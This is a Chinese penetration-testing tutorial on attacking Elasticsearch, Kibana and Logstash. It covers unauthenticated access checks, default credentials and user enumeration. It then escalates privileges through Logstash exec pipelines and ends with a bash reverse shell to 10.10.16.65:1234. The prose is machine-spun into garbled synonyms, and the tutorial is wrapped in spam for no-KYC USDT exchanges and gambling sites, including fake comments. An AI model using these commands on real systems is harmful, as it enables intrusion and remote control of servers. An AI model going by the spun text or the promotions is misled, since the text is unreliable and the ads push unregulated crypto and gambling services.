菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。
通过此文章,我将提供有关ELK在攻击行使与平安防护。关于行使ELK 的信息在网上异常罕有。因此,这篇文章只是本人在一样平常事情和学习中的小我私人条记,虽不完善,但可作为学习参考。通过这篇文章希望能为你提供一些在渗透测试时代可能有用的方式。
靠山
ELK形貌了一个包罗三个开源项目的聚集:Elasticsearch,Logstash和Kibana。Elasticsearch存储数据并提供快速搜索引擎。Kibana是一个图形界面,允许对Elasticsearch中存储的数据举行剖析和可视化。Logstash用于网络从差异泉源的数据并将其保留到Elasticsearch中。
主要设置文件
Elasticsearch设置:/etc/elasticsearch/elasticsearch.yml Logstash设置: /etc/logstash/logstash.yml /etc/logstash/pipelines.yml /etc/logstash/conf.d/* Filebeat设置:/etc/filebeat/filebeat.yml Kibana设置:/etc/kibana/kibana.yml
在渗透测试中设置文件中总是有可能包罗用户凭证,以是总是值得一看的。
Elasticsearch未授权接见的检测与行使
ElasticSearch 是一款Java编写的企业级搜索服务,启动此服务默认会开放9200端口,可被非法操作数据。
检测是否存在未授权接见
默认情形下,并不总是启用身份验证。可以接见所有存储的数据
HTTP协议接见默认端口端口 9200
返回内容中包罗”You Know, for Search”存在未授权接见。若是9200无法接见,说明开发者已经将默认端口更改
通过接见我们获得数据库版本:
curl -X GET "localhost:9200/" { "name" : "userver", "cluster_name" : "elasticsearch", "cluster_uuid" : "lZNH15okQPWfNHp-Aks0OQ", "version" : { "number" : "7.9.3", "build_flavor" : "default", "build_type" : "deb", "build_hash" : "c4138e51121ef06a6404866cddc601906fe5c868", "build_date" : "2021-03-26T10:36:16.141335Z", "build_snapshot" : false, "lucene_version" : "8.6.2", "minimum_wire_compatibility_version" : "6.8.0", "minimum_index_compatibility_version" : "6.0.0-beta1" }, "tagline" : "You Know, for Search" }
若是可以接见上述信息,可能是禁用身份验证。我们可以继续验证是否禁用了身份验证:
curl -X GET "localhost:9200/_xpack/security/user" {"error":{"root_cause":[{"type":"exception","reason":"Security must be explicitly enabled when using a [basic] license. Enable security by setting [xpack.security.enabled] to [true] in the elasticsearch.yml file and restart the node."}],"type":"exception","reason":"Security must be explicitly enabled when using a [basic] license. Enable security by setting [xpack.security.enabled] to [true] in the elasticsearch.yml file and restart the node."},"status":500}
若是看到以上信息,在这种情形下,身份验证是被禁用,我们可以接见所有数据。
若是收到以下响应,则启用身份验证:
{"error":{"root_cause":[{"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}}],"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}},"status":401}
在这启用身份验证的情形下,可以暴力破解内置用户,默认的一些内置用户有:
elastic(这是超级用户!Elasticsearch的旧版本具有该用户的默认密码changeme) logstash_system kibana_system apm_system beats_system remote_monitoring_user
若是在启用身份验证的情形下仍能够吸收版本信息,也可以举行匿名接见。匿名用户名可能是_anonymous。
使用API密钥:
curl -H "Authorization: ApiKey" localhost:9200/
获取有关用户权限的更多信息:
curl -X GET "localhost:9200/_security/user/<USERNAME>"
列出系统上的所有用户:
curl -X GET "localhost:9200/_security/user"
列出系统上的所有角色:
curl -X GET "localhost:9200/_security/role
ES数据库一些在渗透测试中可以行使的URL接见数据查询
curl 'localhost:9200/_cat/indices?v' ,列出所有索引 curl 'localhost:9200/_plugin/head/ ,ES的head插件,可以对es数据库举行种种设置和数据检索功效的 治理插件 curl 'localhost:9200/_cat/nodes?v' ,可以获取集群的节点列表 curl 'localhost:9200/_nodes?prettify' ,节点设置 curl 'localhost:9200/_status' ,查看状态 curl 'localhost:9200/_search?pretty' ,查询所有索引 默认前10条 curl 'localhost:9200/zjftu/_search?pretty' ,查询某一个索引
Kibana
Kibana为在Elasticsearch中确立索引的数据提供搜索和数据可视化功效。该服务默认在端口5601上运行。
Elasticsearch中的用户权限与Kibana中的相同。若是在Elasticsearch中禁用了身份验证,则也应该不使用凭证接见Kibana。而且可以在设置文件/etc/kibana/kibana.yml中找到凭证
,U交所(www.payusdt.vip),全球頂尖的USDT場外擔保交易平臺。
Logstash渗透测试和平安设置
Logstash是ELK客栈的最后一项服务,用于网络,转换和输出日志。这是通过使用包罗输入,过滤器和输出模块的管道来实现的
pipeline 设置文件/etc/logstash/pipelines.yml指定使用的pipeline 位置:
, This file is where you define your pipelines. You can define multiple. , For more information on multiple pipelines, see the documentation: , https://www.elastic.co/guide/en/logstash/current/multiple-pipelines.html - pipeline.id: main path.config: "/etc/logstash/conf.d/*.conf" - pipeline.id: example path.config: "/usr/share/logstash/pipeline/1*.conf" pipeline.workers: 6
你可以找到现在所使用的.conf文件的路径。
权限提升的使用
在实验提升自己的特权之前,应检查哪个用户正在运行logstash服务,默认情形下,logstash服务以logstash用户的权限运行。
通过logstash权限提升需要知足以下条件:
对.conf文件具有写权限,或者对/etc/logstash/pipelines.yml设置文件可以写 可以重新启动logstash服务或/etc/logstash/logstash.yml包罗设置config.reload.automatic:true
可以将以下内容写入文件以执行下令:
input { exec { command => "whoami" interval => 120 } } output { file { path => "/tmp/output.log" codec => rubydebug } }
若是/etc/logstash/logstash.yml中设置了config.reload.automatic:true,则只需守候下令执行,由于Logstash会自动识别新的设置文件或现有设置中的任何更改。否则需要重启logstash服务。
Logstash提权二
Logstash的conf.d设置目录通常由三个文件组成(input、filter、output)。在output.conf中执行下令。若是你具有logstash的基本知识,则应该领会这三个文件的功效。input.conf用于设置数据源。filter.conf用于处置数据,通常与grok连系使用。output.conf用于输出处置后的数据。我们可以发现在output.conf中的exec
这个行使异常显著。确立一个/opt/kibana/名称以开头的文件logstah_。并确保grok可以准确剖析文件中的内容。然后,下令可以乐成执行。最主要的部门是若何确立要剖析的comando内容。因此,需要知道若何使用grok通过正则表达式识别特定字段。
grok 语法:%{SYNTAX:SEMANTIC} 即 %{正则:自界说字段名} 官方提供了许多正则:https://github.com/logstash-plugins/logstash-patterns-core/blob/master/patterns grok debug工具: http://grokdebug.herokuapp.com
表达是很简朴的。若是你知道正则表达式,那么这里的表达式将很容易明白。
修改设置文件如下
filter.conf
filter { if [type] == "execute" { grok { match => { "message" => "Ejecutar\s*comando\s*:\s+%{GREEDYDATA:comando}" } } } }
input.conf
input { file { path => "/opt/kibana/logstash_*" start_position => "beginning" sincedb_path => "/dev/null" stat_interval => "10 second" type => "execute" mode => "read" } }
output.conf
output { if [type] == "execute" { stdout { codec => json } exec { command => "%{comando} &" } } }
接下来确立好可以剖析的文件了,并把我我们要执行的下令放进入。反向shell下令我们直接用bash。以是我使用bash -i >& /dev/tcp/10.10.16.65/1234 0>&1。将内容写入响应的文件:
echo "Ejecutar comando: bash -i >& /dev/tcp/10.10.16.65/1234 0>&1" > /opt/kibana/logstash_1.txt
使用nc监听端口1234,稍等片晌,就会获得反向shell。
网友评论
11条评论usdt场外交易平台
回复USDT线上交易U担保(www.Uotc.vip)是使用TRC-20协议的Usdt官方交易所,开放USDT帐号注册、usdt小额交易、usdt线下现金交易、usdt实名不实名交易、usdt场外担保交易的平台。免费提供场外usdt承兑、低价usdt渠道、Usdt提币免手续费、Usdt交易免手续费。U担保开放usdt otc API接口、支付回调等接口。认真抢前排
Allbet
回复再进步进步
登1登2登3代理
回复皇冠app怎么下载
回复欢迎进入AllbetGmaing手机版下载(www.aLLbetgame.us),欧博官网是欧博集团的官方网站。欧博官网开放Allbet注册、Allbe代理、Allbet电脑客户端、Allbet手机版下载等业务。飘过~
新2手机网址
回复U交所冒泡冒泡,加油我在看
皇冠平台出租(www.huangguan.us)
回复全市6家天下红色经典旅游景区接待游客19.37万人次。更喜欢这个
USDT官方交易网(www.usdt8.vip)
回复@皇冠平台出租(www.huangguan.us) It said the reassignment becomes effective today..炒鸡炒鸡好的内容
USDT无需实名(www.usdt8.vip)
回复感到舒适
免费足球推荐(www.hgbbs.vip)
回复在斯蒂芬-库里和德雷蒙德-格林都缺席的这场竞赛,首发阵容中像乔丹-普尔,凯利-乌布雷,安德鲁-威金斯和詹姆斯-怀斯曼划分仅有-32,-37,-37和-32的正负值显示。感觉时间没被浪费
U担保(www.usdt8.vip)
回复USDT交易平台比以前看的网站强
USDT不用实名买卖(www.usdt8.vip)
回复5月26日下昼,天津津门虎在天津奥体中央体育场外场照常睁开训练。据《天津日报》报道,在这个间歇期中,也陆续泛起几名年轻球员在球队试训,二次转会时代,天津应该会在内援方面举行补强,然则外助则存在诸多变数。真心吹捧